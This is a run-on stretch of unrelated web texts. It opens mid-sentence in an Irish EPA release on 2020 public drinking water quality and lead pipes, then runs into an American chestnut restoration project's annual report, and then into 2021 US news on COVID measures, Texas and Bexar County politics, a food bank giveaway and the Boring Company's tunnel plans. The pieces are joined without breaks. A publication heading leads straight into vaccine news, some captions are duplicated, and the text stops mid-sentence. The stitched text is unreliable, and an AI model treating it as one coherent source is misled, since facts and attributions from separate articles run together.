highlighted the absolute necessity for Irish Water to ensure our public water supplies are properly and effectively operated, and managed, to protect public health. The EPA has also found deficiencies in the national disinfection programme, and a continued lack of focus by Irish Water and the Department of Housing, Local Government and Heritage on plans to remove lead from supply connections and assessments of the extent of lead pipework in public buildings on lead in public buildings. Noel Byrne, EPA Programme Manager, said: 15,500 consumers were on Boil water notices for over a month in 2020, and 145,000 households still have lead connections from water mains, which highlights the vulnerabilities that exist in drinking water supplies. Irish Water must expedite lead connection replacements and progress improvements to disinfection systems - including addressing the issues with the disinfection programme identified by the EPA - to ensure that the quality of drinking water is adequately safeguarded. The EPA Drinking Water Quality in Public Supplies 2020 Report and the complete list of public water supplies currently on the Remedial Action List - including details of the proposed remedial measures and associated timeframes - are available on the EPA website. Notes Some key findings of the 2020 report on public water supplies: 99.96 per cent of samples comply with microbiological parameter limits. 99.71 per cent of samples comply with chemical parameter limits. 46 supplies were on the EPAs Remedial Action List at the end of 2020, compared to 77 at the end of 2019. 43 boil water notices and 17 water restrictions were in place in 2020, affecting almost 80,000 people. 27 of those boil water notices were in place for more than 30 days, meaning they are classed as long-term notices requiring investment in infrastructure to address. coli bacteria was detected in three supplies, compared to eight supplies in 2019. Trihalomethanes limits were exceeded in 35 supplies, compared to 46 in 2019. Pesticides limits were exceeded in 33 supplies, compared to 27 in 2019. The EPA issued five Directions (legally binding instructions) to Irish Water in 2020. The EPA has identified the following priorities for Irish Water to address on a national level to protect and improve public water supplies: Progressing action programmes for all Remedial Action List schemes; Ensure that water is free of bacteria; Ensure that water is free of protozoan organisms; Ensure that water is free of chemical substances (trihalomethanes and pesticides); Ensure that water treatment plants are operated correctly; Eliminating lead from our drinking water networks; Managing risks to our public water supplies by adopting Drinking Water Safety Plans for all supplies. List of supplies on the Remedial Action List at the end of 2020*** County Supply Population County Supply Population Cavan Bailieborough 7785 Limerick Foynes/Shannon Estuary 7,023 Cavan Belturbet 1926 Limerick Fedamore 492 Cavan Shercock 712 Limerick Newcastle West 9,448 Cavan Dowra PWS 92 Longford Gowna* 4,359 Clare Corofin 1,276 Longford Granard* 2,598 Clare Ennistymon 6,961 Longford Longford Central 16,729 Clare West Clare (New WTP) 11,236 Louth Greenmount 4,814 Cork Glashaboy 22,808 Louth Tallanstown 1,978 Cork Glengarriff* 353 Mayo Newport PWS 684 Cork Leap 497 Meath Drumcondrath 1,182 Cork Schull 946 Meath Navan & Mid-Meath** 38,985 Cork City Cork City Water Supply 87,114 Offaly Clara/Ferbane RWSS 7,467 Donegal Ballymagroarty 756 Tipperary Clonmel-Poulavanogue 2,596 Donegal Glenties-Ardara 3,536 Tipperary Galtee Regional 11,436 Dun Laoghaire- Rathdown Roundwood 42,106 Waterford Dungarvan 11,472 Fingal Leixlip* 590,167 Wexford Clonroche 522 Kerry Ballyheigue 2,466 Wicklow Aughrim / Annacurra 1,594 Kerry Cahersiveen 1,370 Wicklow Enniskerry Public Supply 2,667 Kerry Caragh Lake 1,899 Wicklow Wicklow Regional Public Supply 15,598 Kerry Mountain Stage 840 Wicklow Bray 28,934 Kilkenny Kilkenny City (Radestown) 14,441 Wicklow Greystones/Windgates/ Templecarraig 16,380 Kilkenny Pilltown-Fiddown 2,955 Wicklow Kilmacanogue 1,237 Laois Abbeyleix 1 1,836 Wicklow Newtown Newcastle Kilcoole 12,724 *Supply was removed from the RAL during 2021 **Navan Mid Meath supply was split into Liscarton and Kilcarn suuplies; Liscarton was removed from RAL during 2021 and Kilcarn remains on RAL ***The following supplies were added to the RAL in 2021 Whitegate Regional, Kilgarvan, Borrisokane, Ballymorris, Clare Island, Burncourt Ballylooby, Nenagh Regional, Carlow North Regional, West Clare (old) WTP, Kereen, Louisburgh, Callan, Ballymahon and Batterstown. Moving Closer to 10,000 Trees Activities undertaken between November 1, 2020 and November, 30, 2021 This is an exciting year with the largest Darling American chestnut harvest to date. This will add to our current 5,165 total trees in our field trials, 2,018 of which are the Darling 58 American chestnut trees, and three generations of their offspring, that are being reviewed by the U.S. federal regulators for release to the public and forest restoration programs. Therefore, even with the continued challenges from the COVID-19 pandemic, that include supply chain delays and additional safety protocols, this has still been a very productive year thanks to your continued support of our research team. Although we have had many research accomplishments (see publication list at end of report as examples), to keep this year's report brief, we will highlight the tree diversification, production, and the regulatory progress. Outcrossing pollinations and tissue culture - Hannah Pilkey (Production Manager) This pollination season was an exceptional year for incorporating new mother trees and pollen types to promote genetic diversity in the transgenic breeding plan. Below is a bulleted summary: An abundance of pollen and a prolific flowering season allowed the ESF team to perform the most controlled pollinations to date. In total, 5,378 viable nuts were harvested! This is a significant increase over last year when 1,400 nuts harvested. Ninety-two mother trees from the Castanea genus were pollinated at permitted locations in New York, compared to forty-one last year. Sixty of these trees were American chestnut. Of the 60 pollinated American chestnuts, 27 were newly flowering trees, thus contributing to our diversification goals. Diversifying and production of Darling 58 was further achieved by our collaborators at TACF that performed pollinations in ME, VT, IN, PA, VA, SC, and GA. Some of the crosses were with TACF's backcross trees containing Phytophthora root rot (PRR) resistance to test if we can stack the blight tolerance and PRR resistance in the offspring. Ten different transgenic pollen types from diverse backgrounds were used to perform pollinations and produced predominantly T3 seeds. One of the pollen types produced in Maine by Dr. Tom Klak, D58+20USU45.5, was an early flowering T3 tree from last year. This pollen type produced 28 viable nuts to produce the first of the T4 generation. This accelerated pollen production was published in the fall issue of TACF's Chestnut magazine. Pollinations occurred mainly on pure American chestnut mother trees for the primary goal of restoration, but this year we had enough pollen to perform controlled pollinations on other Castanea species and interesting agricultural varieties including Allegheny chinquapin, Bouche de Betizac hybrid, Luvall's Monster hybrid, and Bill's Chinese hybrid, to name a few. These may help in future areas of agricultural American chestnut hybrid restoration, another value of the American chestnut trees. Nearly 200 nuts were produced from crosses between Ozark Chinquapin mother trees and Darling 58 pollen. These nuts will begin our plan to breed OxO into blight susceptible Ozark chinquapins and help restore this closely related species that was also devastated by the chestnut blight. The first practice pollinations kits using frozen wild-type chestnut pollen were sent out this year to a handful of citizen scientist volunteers. This was in anticipation of Darling 58 pollen shipment following deregulation. Every participant produced viable nuts and provided valuable feedback for future pollen shipments. To learn how to pollinate the American chestnut and how you can get involved, please watch our virtual pollination workshop here: American Chestnut Restoration Project - Pollination Workshop From the tissue culture lab, over 200 T2 trees were produced clonally, many of which went into holding plots for future distribution. In addition to many American chestnut trees, some of our first American/European hybrids were also propagated for field testing. European chestnut is also susceptible to blight and this is a first step to bringing the OxO gene into that species. Thirteen new, diverse genotypes from the 2020 controlled crosses were successfully initiated into tissue culture. Two of these cultures include the first T1s of the wound/pathogen inducible promoter lines that help target the expression of OxO to the infection sites. We hope that some of these cultures will become pollen parents for the 2022 pollination season Figure 1. Hannah Pilkey's insturctions on pollination. Figure 2. Left, Patricia Fernandes (Postdoc) and Kaitlin Breda (Admin assistant) harvesting. Right, Sarah Meisner and Kyra LoPiccolo (undergrad students) in the bucket lift bagging female flowers. Figure 2. Top, Patricia Fernandes (Postdoc) and Kaitlin Breda (Admin assistant) harvesting. Bottom, Sarah Meisner and Kyra LoPiccolo (undergrad students) in the bucket lift bagging female flowers. Figure 3. Left, American chestnut/Bouche de Betizac hybrid nuts as example of harvest. Right, High-light growth chambers rapid pollen production. Figure 3. Top, American chestnut/Bouche de Betizac hybrid nuts as example of harvest. Bottom, High-light growth chambers rapid pollen production. Regulatory progress (Bill Powell, Professor and Chestnut Project Director) No matter how much research or production progress we make, everyone has the same question, when can we get some of the "Darling" American chestnut trees? This has been a difficult question to answer because we are working with three regulatory agencies in the U.S. (and soon two in Canada). In the past the regulators could only tell us the "typical" timelines for approval. Then they say, the American chestnut isn't typical. This will be the first restoration tree developed with the tools of biotechnology. But it won't be the last. The Darling American chestnut trees will pave the way to rescue many other threatened tree species such as the American elm and others. Therefore, the regulators are being extra careful and giving our trees extensive review. The Darling American chestnut trees will be one of the most studied variety of trees in history. By doing this, it will make it easier and faster for future restoration trees because the regulators will be much more familiar with the development of restoration trees. The good news is we are finally getting decision dates in writing. The USDA petition was submitted on 1/17/2020 (just before COVID hit). We went through two public open comment periods and in the last announcement they wrote when they expect the Plant Pest Risk Assessment (PPRA) and Environmental Impact Statement (EIS) will be completed and decisions made, "We plan to complete the PPRA within 6 months, and the EIS and record of decision (ROD) within 2 years of the date of this notice. This schedule is tentative and subject to extension." So that would put the PPRA around February 2022 and the ROD around August 2023. After completing additional EPA requested experiments, we have submitted a 19 volume (4,525 page) registration and exemption from tolerance application to the EPA on 9/28/21. This starts a mandatory clock for review and were told this would be completed by DEC. 2022. In parallel, we are submitting a petition for a 25b exemption from FIFRA following a process suggested by the EPA regulators. We expect to submit this petition next quarter which starts the parallel review process. The two reviews will have shared information, but independent results, and we can start distributing trees with just the registration, while waiting on the 25b exemption. After many discussions with the FDA and completion of experiments they requested, we submitted our consultation document on 10/27/21. We expect this review process to take about a year. In addition, we are submitting a separate petition to be exempt from the wheat labeling rules for food since we only added a single gene which we will be submitting after a couple more experiments they requested. So, all in all, we hope to have all the regulatory decisions needed for distribution to the public by the fall of 2023. Fingers crossed. My team and I appreciate our supporter's patience and encouragement to keep going through this long process. The trees are coming! Publications this year EU regulators on Wednesday recommended Johnson & Johnson's shot for use as a booster dose. However, Sanofi and GlaxoSmithKline said they expect data from late-stage clinical trials of its booster dose of their COVID-19 vaccine candidate in the first quarter, instead of this year, another delay for the potential shot. PROVIDENCE, R.I. (AP) Rhode Island will reinstate a partial mask mandate amid an increase in COVID-19 cases, Gov. Dan McKee announced Wednesday. Under the rules, masks will be required for workers and patrons of restaurants, gyms, entertainment venues and other indoor public places with a capacity of more than 250 people. Smaller venues and private offices will have to require either masks or proof of vaccination. Private businesses may continue to set stronger mask or vaccination rules for their own establishments. The new mandate takes effect on Monday. McKee said it will be reevaluated in 30 days. Rising COVID case numbers and the new omicron variant prompted officials to impose the mandate. The state also plans to double the number of COVID-19 vaccines administered per week, and distribute additional masks and at-home COVID tests. Theres pressure right now on our hospitals, McKee said at a press conference detailing the new rules. Now is the time to act. Its not a time to sit and wait. Much of the work of enforcing the rules will fall to business owners. In a statement, the Rhode Island Small Business Coalition noted that McKee's administration sought input from business owners before issuing the new mandates. We do not support any mask policy that puts additional burdens on our small businesses, the organization wrote in its statement. "However, we are pleased to see businesses under 250 will not be forced with a full mask mandate. The state has had a high level of transmission since August. A holiday-season spike in cases and hospitalizations has hit even New England, one of the most highly inoculated corners of the country. The omicron variant was first detected in Rhode Island over the weekend. The seven-day rolling average of daily new cases in the state has risen over the past two weeks from 518 on Nov. 29 to 988 on Dec. 13. The AP is using data collected by Johns Hopkins University Center for Systems Science and Engineering to measure outbreak caseloads and deaths across the United States. Wearing a mask and becoming fully vaccinated remain the best way to curb the increase, according to State Department of Health Director Nicole Alexander-Scott. She urged all Rhode Islanders to get a booster if they haven't already. Get a flu shot as well please, she added. More than two dozen members of the Texas Legislature are retiring or running for a different seat next year, creating a slew of vacancies that could push both chambers to become redder and more polarized by the time lawmakers reconvene in 2023. Many of the outgoing members are center-right or establishment politicians with years of experience, opening up seats for younger and more ideologically extreme replacements. In many cases, their districts were redrawn to strengthen the GOPs hold on the Legislature, eliminating all but a few of the battleground contests that tend to attract more moderate candidates. Those changes, paired with new political maps that leave little opening for Democrats to gain ground in November, have laid the groundwork for an even more conservative Legislature, even as Republicans toast the 2021 legislative session as the most conservative in the states history. The tides are shifting again, said state Rep. Dan Huberty, a moderate Republican from north Houston who is not seeking re-election. You have different political leaders, and the constituency has a view of what they want. You're going to see a shift. I would assume it's going to be more conservative. The Capitol is also poised to lose some of its longest tenured legislators to retirement, draining a generation of policy expertise on areas such as health care, education, agriculture and the border, said Brandon Rottinghaus, a political science professor at the University of Houston. The average tenure of the departing members is 13 years. Still, its not unusual for a mass reshuffling after a redistricting cycle, the once-a-decade process of redrawing the states political maps. In some cases, the new maps make re-election harder for incumbents, either by drawing them out of their districts or changing the political lean. In others, the changes could open up new opportunities for sitting representatives to run for higher office. Twenty-five representatives in the 150-member Texas House dont plan to return next year, a total that was solidified Monday, the deadline for candidates to file for the March primaries. Two incumbent Democrats are also facing off against each other in the same district, and only one of them can come back. In the Senate, the more reliably conservative chamber, just one member is seeking a higher office. Four members plan to retire, including the chambers most moderate members on both sides of the aisle Sen. Eddie Lucio, a Brownsville Democrat, and Republican Sens. Kel Seliger of Amarillo and Larry Taylor of Friendswood. In all, 31 members definitely wont return to the Capitol in 2023, and that list could grow if sitting members lose their primary or general election contests. Following the 2012 elections, after the last redistricting cycle, the final total was 49. Redistricting fuels polarization In both chambers, redistricting shored up GOP support across the state, making it likely that even more Republicans will head to Austin for the 2023 legislative session. Republicans currently hold 18 seats in the 31-member Senate, and that could grow after next years general election. Former president Donald Trump carried 16 state Senate districts in 2020, but the new map would increase that total to 19. Its the same story in the House, where Republicans currently hold 85 seats. Trump secured 76 of those districts last year, but he would have won 85 of them under the new setup. This cycle will shape Texas politics as much as any other weve seen in the past decade, Rottinghaus said. The effect will be profound on the legislative process. I think the balance of power will lead to Republicans having a lot more control, because they're able to develop and harness the authority of leadership. TEXAS TAKE: Get the latest news on Texas politics sent directly to your inbox every weekday The new vacancies have also created a field for more ideologically extreme members to run for office a trend seen nationwide as both state and national politics become increasingly polarized, and as money floods to those candidates, said Jennifer Clark, a political science professor at the University of Houston. It seems that increasingly moderate members are being sidelined and not stepping up and running for these seats, she said. And then this is self-reinforcing, of course, because then we see growing polarization and even more of a reluctance on the part of moderates to enter into these races. Moderates depart the House In 2011, Huberty was one of 37 mostly Republican freshmen in the Texas House a mix of conservatives and moderates who rode the tea party wave into office, including three members who had served in the House previously, lost their seats and then gained them back that year. By 2023, few of the moderate new members elected from that class will remain, with most of the remaining holdouts including Huberty, John Frullo of Lubbock, Lyle Larson of San Antonio and Jim Murphy of Houston declining to seek re-election next year. Huberty rejected the idea that moderate Republicans are leaving Austin because they are fed up with the direction of the Legislature or are being pushed out by more conserative members. It's just the nature of the business, Huberty said. The average tenure of a state rep is about five years. Its like a running back in the NFL: it doesn't last very long. I don't see anything that's a cause-and-effect, like, 'Oh my god, everything's gone so far to the right, I just don't want to do it anymore.' The 2023 session would be far from the first time the Legislatures makeup has shifted to the right. But when that has happened in recent years, the more conservative freshmen were largely constrained by House leadership, led by former speaker Joe Straus, a moderate Republican from San Antonio. The current speaker, state Rep. Dade Phelan of Beaumont, rarely stood in the way of conservative priorities during his first year wielding the gavel. The speaker is definitely not Joe Straus in terms of his ideology, said Jon Taylor, a political science professor at the University of Texas at San Antonio. Hes much more conservative ... He's not as conservative, obviously, as (Lt. Gov.) Dan Patrick, but nonetheless more conservative. So, I think you'll see a push by those more on the right side of the Republican Party in the Legislature next session. State Rep. Mayes Middleton, a Wallisville Republican who chairs the conservative House Freedom Caucus, praised the awesome slate of GOP candidates running for the Texas House this cycle. I've talked with a lot of them, Middleton said. They have the fire in the belly that it takes to go fight for our shared conservative values and make sure these policies get across the finish line. Middleton, one of the most conservative members of the Texas House, is now running for a vacant state Senate seat with Patricks endorsement. The direction of the Legislature has also prompted some House Democrats to call it quits, though its unclear if they will be replaced by more progressive members. One of the departing Democrats, state Rep. Ina Minjarez of San Antonio, said she decided to forego re-election and run for Bexar County judge in part because she was fed up with the Legislatures hard-right turn a trend she expects will continue next session. We're not working on the issues, on the policies that really make the quality of life better for people in this state, Minjarez said. To me, it's become nothing but a bunch of rhetoric and a bunch of political games. Senate drifting further right In the Senate, Lucios seat could be the sole competitive race next year. The other open districts are solidly Republican, and those who are likely to replace the outgoing members are ideologically further right than their predecessors or are, at least, closely allied with Patrick, the leader of the upper chamber. Seliger was known for frequent fallouts with Patrick, defying him at times and blocking passage of priority bills. But state Rep. Phil King, the Weatherford Republican vying to replace him, has already earned Patricks stamp of approval. Taylor, one of the most moderate members of the Senate, is also poised to be replaced by a more conservative successor. Those running to replace him include Middleton and Robin Armstrong, a physician backed by Attorney General Ken Paxton, a tea party favorite. (Armstrong gained attention last year when he controversially administered hydroxychloroquine to COVID-19 patients at the Texas City nursing home where he works.) Its difficult to say whether ideological shifts in the Senate may help pass some conservative legislation that had failed this year, like a ban on COVID vaccine mandates, Seliger said. Those who replace outgoing GOP members will also be Republicans who share many of the same values as their predecessors and some could dissent behind closed doors, he said. The things that go all the way through are the things approved by the lieutenant governor, he said. That will not change. cayla.harris@express-news.net jasper.scherer@chron.com Billy Calzada/Staff Photographer Boerne Independent School District one of the fastest-growing districts in Texas can now boast having some of the states best elementary and middle schools, according to a recent ranking in the U.S. News and World Report. Eight Boerne ISD elementary and middle schools made the ranking for top schools. The rankings place the districts schools among the top 30 percent in Texas. With less than a year in office under her belt, Bexar County Commissioner Trish DeBerry said she made a ridiculously difficult decision to run for county judge, knowing it would force her to give up her current Precinct 3 seat. I just felt like it was a risk I needed to take, said DeBerry who filed late Monday, shortly before the deadline to enter the March 1 primary, to run as a Republican for the countys top elected post. County Judge Nelson Wolff said hes open to replacing DeBerry with another Republican representing the North Side. But he wants to first complete work on domestic violence, federal assistance for foster care and Meals on Wheels and other issues DeBerry has focused on before seating a new interim commissioner. On ExpressNews.com: DeBerry enters race to succeed Wolff as county judge Wolff, a Democrat, is not seeking re-election next year to the post hes held for 20 years. Under the states resign to run law, DeBerry must resign as commissioner but can hold over for up to 60 days. Wolff said he expects DeBerrys Precinct 3 interim replacement to be seated in February or so, in consultation with commissioners. County officials also will discuss the timing of a special election, possibly in November, for the remainder of DeBerrys uncompleted term, which runs through 2024. She was elected in November 2020 and took the seat in January. Wolff said the situation is different from the appointment of Commissioner Justin Rodriguez following the death of longtime Commissioner Paul Elizondo. Rodriguez, then a state representative, was sworn in eight days later, and later won a special election last year to serve out Elizondos uncompleted term. When Paul passed away, you had nobody serving, and so I had to move fairly quickly. This time, Im going to take more time, because even though Trish has resigned, she can hold over, Wolff said Tuesday. DeBerry, a moderate and fiscal conservative, said she decided after days of soul-searching to run for county judge. She had managed Ed Garzas successful mayoral campaign 20 years ago, and hoped hed run as a Democrat for the seat. When he decided he was not running, I think there was a seminal moment where I had to make a decision what I was going to do, she said. I couldnt just sit back without having a very robust dialogue regarding issues that are facing this county and transformational change, and how we move this community forward post-pandemic. The resign-to-run provision of the Texas Constitution came into play in September 2019, when then-Constable Michelle Barrientes Vela told reporters she planned to run for sheriff, while her home and office were raided under a joint investigation of the Texas Rangers and FBI. Vela has since been charged with three counts of official oppression, accused of extracting money from a family for security fees at a picnic area during the 2018 Easter weekend at a West Side park. Wolff said Vela could have stayed in office for 60 days. But commissioners appointed Leticia Vazquez to replace her. She couldve held it over if wed not appointed anybody butwe acted very quickly and appointed someone, he said. DeBerry said shell defer to Wolff and commissioners on how long she stays in office. From a protocol standpoint, if its 60 days, if its 45 days, if its 30 days, I will abide by what the judge decides, she said. DeBerry faces Nathan Buchanan in the Republican primary for county judge. More attention has been paid to the Democratic primary, which features four candidates, including state Rep. Ina Minjarez, former District Judge Peter Sakai and mayoral adviser Ivalis Meza Gonzalez. I think weve got a pretty darn good field, Wolff said, with three strong candidates among the Democrats. Trish will be a strong candidate. Shes had experience on the court and has shown shes got leadership abilities also. Prior to Wolff, Cyndi Taylor Krier, a Republican, served as the only female county judge in Bexar County history. I would say the odds are against a Republican, but who knows what will happen between now and next November? added Wolff, who has not endorsed anyone in the race or indicated whether he will. DeBerrys decision came as a bitter pill for Christine Hortick, who won the Democratic nomination for Precinct 3 commissioner last year but lost to DeBerry. Hortick now is running for the 225th District Court bench recently vacated by Sakai, facing Shannon Roberta Salmon in the Democratic primary. Hortick said DeBerry is abandoning her obligation to represent the constituents of Precinct 3. On ExpressNews.com: Dual consultants now engaged to fix problems at jail Throughout my campaign I asserted that representation of the people of Precinct 3 was not her top priority. Concerns regarding potential conflicts of interest surfaced during her campaign, and have continued since she was sworn in. I have no doubt that those conflicts will continue to pile up if she were to be elected county judge, Hortick said. DeBerry said shes never had to recuse herself from a vote as commissioner, and has taken a minority interest in talkStrategy, the company she once ran, previously known as the DeBerry Group. Shes no longer a managing partner and is not responsible for daily operations. It is no longer my company, she said. If Im elected county judge, Ill completely divest myself of any interest in the company. Political consultant Laura Barberena, who is working with Hortick and Sakai in their respective Democratic races, said DeBerrys decision dramatically changes the dynamics of the county judge race on the Democratic side. Even though Bexar County is a difficult place for Republicans to win countywide, DeBerry is a very good communicator, said Barberena, who managed Horticks campaign against her last year. This is now a question of who is best prepared to beat Trish DeBerry, Barberena said. She does not back down. And so we need to be able to have a candidate who wont back down, who wont walk away and who wont be afraid of a fight. shuddleston@express-news.net SAN ANTONIO Maria Salas drove out of the Alamo Stadium parking lot Wednesday morning knowing her growing family would be well fed during the holidays. This helps us out a lot, said Salas before leaving a San Antonio Food Bank mega distribution that included 20-pound turkeys donated by RK Cares, the charitable arm of The RK Group, a 75-year-old San Antonio catering firm. I have three boys and my mother-in-law too, and she takes care of some grandkids of our family, so this helps her a lot as well, added Salas, who recently gave birth to her third child and is married to a teacher at the San Antonio Independent School Districts Healy Murphy Child Development Center. The Salas family was one of 734 SAISD households supplied by a volunteer force of 133. Partnering with SAISD and the San Antonio Food Bank to help feed our community this holiday season is a huge honor, said Jamie Kowalski, The RK Groups vice president of corporate relations, said in a statement. For the past 75 years, it has been a long-standing goal of The RK Group to combat hunger and food insecurity. Through these partnerships, we are able to support thousands of families in need. Eric Cooper, president and CEO of the Food Bank, echoed those sentiments. SAISD is such a great partner throughout the year, and we are proud to support their effort to reach families as the holiday break approaches. Together, we will turn hungry holidays into happy holidays, Cooper said in a statement. The RK Group is providing 3,000 turkeys to nonprofit groups in three states, Texas, Kentucky and Washington, during the holiday season, Kowalski said. For more information about receiving assistance from the Food Bank or for volunteer opportunities, go to safoodbank.org. Former Bexar County District Attorney Nico LaHood said Tuesday he had decided not to run for state representative in House District 122, the northwest Bexar County seat held by retiring Rep. Lyle Larson. LaHood, who had previously announced he would seek the seat as a Republican, said he decided not to after meeting with another GOP candidate, former Bexar County Republican Party Chair Mark Dorazio, and realizing that the two share a lot of the same policy ideas and the same ideological ideas faith-wise. It just kind of struck me, I said, well, theres no sense in two people running that share similar policies, LaHood said. With the field now set to replace Larson following Mondays filing deadline, LaHood said he is backing Dorazio in the primary over three other Republicans: Adam Blanchard, a San Antonio trucking industry executive; Elisa Chan, a former San Antonio City Council member; and Mark Cuthbert, an insurance executive and Air Force veteran. Angi Aramburu, a San Antonio personal trainer, was the lone Democrat to file for the seat. The district remains favorable to Republicans after lawmakers in Austin redrew the boundaries this year to encompass more of Bexar Countys northwest suburbs. Former president Donald Trump carried the voting precincts that make up the new version of the district by about 9 percentage points in 2020. LaHood, who was elected as a Democrat to the DA post in 2014, left the Democratic Party shortly after losing re-election in the 2018 primary to a former law partner, Joe Gonzales. Gonzales was elected district attorney later that year and is running for re-election in 2022. LaHood said his initial decision to run for the House seat was based partly on his desire to unseat Larson, a moderate Republican who frequently defied his party in Austin. I just said, look, I like Lyle as a person, but I think someone else needs to serve and bring a different set of ideas to that position, LaHood said, adding that his calculations changed after Larson announced his retirement. Since leaving office, LaHood has worked in private practice as a defense lawyer, while also launching a video podcast on which he has condemned mask mandates at schools and advocated against the COVID-19 vaccine. LaHood had been outspoken against vaccines well before the coronavirus pandemic, a view that runs counter to established science. LaHood said he still plans to run for public office in the future, possibly for the state Senate seat held by Donna Campbell, R-New Braunfels. Its not if Im going to get back in, LaHood said. Its when. jasper.scherer@chron.com Trish DeBerry had to work hard to get elected Bexar County commissioner. In the 2020 Republican primary for Precinct 3, she faced seven opponents. One of them, former probate judge Tom Rickhoff, blasted DeBerry the owner of a highly successful consulting business for her firms history of procuring government contracts. Rickhoff branded her the ultimate political insider; a de facto lobbyist. Although DeBerry ran circles around her competition when it came to fundraising, Rickhoff finished first in the March 2020 primary, with 34 percent of the vote to DeBerrys 29 percent. Four months later, in a COVID-19-delayed runoff, DeBerry defeated Rickhoff by 9 percentage points. Normally, a GOP primary win in the reliably Republican Precinct 3 would guarantee a general-election victory. But DeBerry had to fight to outlast Democratic nominee Christine Hortick. Human nature is such that when you go through that kind of political obstacle course and wind up securing a four-year term, you want to savor those four years. Less than a year after taking her oath of office, however, DeBerry is gambling big; giving up her county commissioner seat to run for Bexar County judge. She filed to run Monday afternoon, the final day of the filing period. Theres been a lot of soul-searching, she said. It has been gut wrenching, it has been hand wringing, it has been teeth gnashing and really prayerful deliberation. DeBerry said the pivotal moment in her decision-making process came Friday, when she rappeled 20 stories from the top of the Thompson Hotel to raise money for the Epilepsy Foundation Central & South Texas. You have your heels off the ledge of a 20-story building, and they tell you to take that first step and trust that everything is going to be okay, despite how scary it might be, DeBerry said. I took that first step and made my way down the building. And I just decided, when I got to the bottom, I was like, Self, if you can do this, if your gut tells you to go, based on the deliberation that youve been through, theres a reason why you need to do this. Windows dont always open in politics at convenient times. While this was hardly a convenient time for DeBerry, she saw an open window that could close very quickly and stay shut for many years. For one thing, with Nelson Wolff deciding not to seek re-election, its the first time the county judge position has been open in two decades. For another, DeBerry sees 2022 as the most promising cycle in many years for a Republican hoping to get elected county judge. Keep in mind the history thats working against her. Its been 23 years since a Republican (Cyndi Taylor Krier) was elected Bexar County judge. Even the Republican wave election of 2014 in which the GOP snared control of the U.S. Senate, swept the state of Texas and dominated local judicial races couldnt swing the county judge seat away from Democratic control. That year, the Republican nominee, former Councilman Carlton Soules, lost to Wolff by 8 percentage points. This precedent would be discouraging for DeBerry, except for two facts: 1. DeBerry has a lot more bipartisan appeal than the prickly, divisive Soules. In 2014, you saw business-oriented, longtime Republicans such as Lionel Sosa and Louis Barrios voting for Republican Gov. Greg Abbott, but backing Wolff for county judge over Soules. Those voters will almost certainly support DeBerry. 2. None of the Democratic candidates for county judge enter the race with the kind of gravitas or ingrained goodwill that Wolff brought to the 2014 campaign. Also, because DeBerry wont face serious competition in the Republican primary, she wont be pressured to go too far to the right and embrace the culture-war agenda that currently defines statewide GOP politics. She can focus on property tax reduction, appraisal reform and jail management, issues that have been staples of her first year on Commissioners Court. So, if the odds are tough for her, they are still better than they would be at any other time. One fascinating footnote to DeBerrys candidacy involves Ed Garza. The former mayor nearly entered the race for county judge (as a Democrat). DeBerry managed Garzas 2001 mayoral campaign and remains a good friend of his. She likely would have stayed out if he had run. Another intriguing footnote is the presence of former Councilman (and two-time mayoral candidate) Greg Brockhouse. Brockhouse is a friend and adviser to DeBerry, and he encouraged her to file for county judge. Brockhouse also has an interest in the Precinct 3 seat that DeBerry will be vacating. While he is unlikely to win an interim appointment from Wolff, you can bet hell be on the ballot when the seat goes before voters. It all adds up to Bexar Countys wildest election cycle of the 21st century. ggarcia@express-news.net | Twitter: @gilgamesh470 Elon Musks Boring Company wants to build an underground transportation loop in Central Texas to help make its point that ferrying people through tunnels in fast, self-driving Tesla sedans can ease a citys traffic congestion and reduce pollution. The Boring Company digs tunnels for a living. It lacks the flash of Musks other brainchildren, SpaceX and Tesla, and what its selling isnt nearly as interesting as big rockets or all-electric cars and trucks. But the Los Angeles-based infrastructure firm is making progress on its transit projects, albeit in stops and starts. Its first loop, 40 feet beneath the Las Vegas Convention Center, opened to the public in June. And Dean Trantalis, the mayor of Fort Lauderdale, Fla., said in a July 6 tweet that the city had accepted a Boring Company proposal to build an underground loop from its downtown to the beach; competing bidders had 45 days to submit their proposals. On the other hand, the companys big plans for loops in Los Angeles, Chicago and the Baltimore-Washington, D.C., corridor have either evaporated or are nowhere close to being realized, according to a scathing piece in Slate. San Antonio officials are more than a little interested in what The Boring Company is up to. Greater: SATX, formerly known as the San Antonio Economic Development Foundation, and a small constellation of other local agencies have been in talks with the company for at least two months, according to people involved in the back and forth but not authorized to publicly discuss the developing proposal. Theyre considering a variety of potential routes. At the outer limits of the possible, those include a loop linking San Antonio International Airport to downtown. Say the terminus is the Convention Center; that would be a distance of nearly 10 miles. Its early in the process. Nobodys conducted traffic studies or gauged demand. But San Antonio parties are in think-big mode. Starting with a modest loop, some envision a network of tunnels connecting San Antonios major economic engines, such as Port San Antonio on the Southwest Side and the South Texas Medical Center on the North Side. How much would such an undertaking cost? Many millions, but without a defined route its impossible to put a price tag on the project. Its also too soon to tell whether San Antonio officials could tap funds from President Joe Bidens $1 trillion infrastructure bill, if it becomes law, to offset the expense. Im told The Boring Company is also talking with Austin officials, as youd expect. On ExpressNews.com: Jefferson: S.A. and Austin perfect together? Believe it Musk is infatuated with our cooler, busier sister city maybe it started with his frequent visits to South By Southwest. The media-savvy (manipulative?) billionaire has moved to Austin, and Tesla is building a $1.1 billion electric-truck factory on the citys far East Side. Indeed, several signs point to Austin as the likely location for The Boring Companys first Texas demo project. On Nov. 9, the company tweeted: Rumor has it that Austin Chalk is geologically one of best soils for tunneling. Want to find out? Austin jobs now available. On Thursday, The Boring Company had 19 job openings posted on its website, including electrical and mechanical engineers and machinists. Maja Hitij /TNS It also has been renovating two leased buildings on 14 acres in nearby Pflugerville, according to Teslarati, a website that obsessively tracks Musk and his ventures. I reached out to the company for comment but didnt hear back. To get some idea of what all the interest is about, its best to look to Las Vegas. What happens in Vegas The Boring Company built two tunnels that link the four exhibition halls that make up the Las Vegas Convention Centers 3.2 million-square-foot, 200-acre campus. End to end, the ride takes less than two minutes. Walking the same distance is good for your step count but eats up about 25 minutes. Passengers ride free in Tesla sedans, 62 in all, with drivers from The Boring Company behind the wheel, the tech website CNet reports. The speed limit is restricted to 35 mph. Eventually, however, the cars will be self-driving and zooming through the tunnels at speeds up to 150 mph. The LVCC Loop, which includes three stations and 1.7 miles of tunnels, cost taxpayers $52.5 million. It has the capacity to move more than 4,000 people an hour. Clearly, this is a small project more of a demonstration of how the transportation loops would work. But The Boring Company has grander plans for Las Vegas. Its reportedly secured government approval to expand the loop to include the Strip and faraway downtown, home of Old Vegas on Fremont Street. SA Inc.: Get the best of business news sent directly to your inbox The Boring Company on Thursday had 16 job openings in Las Vegas posted 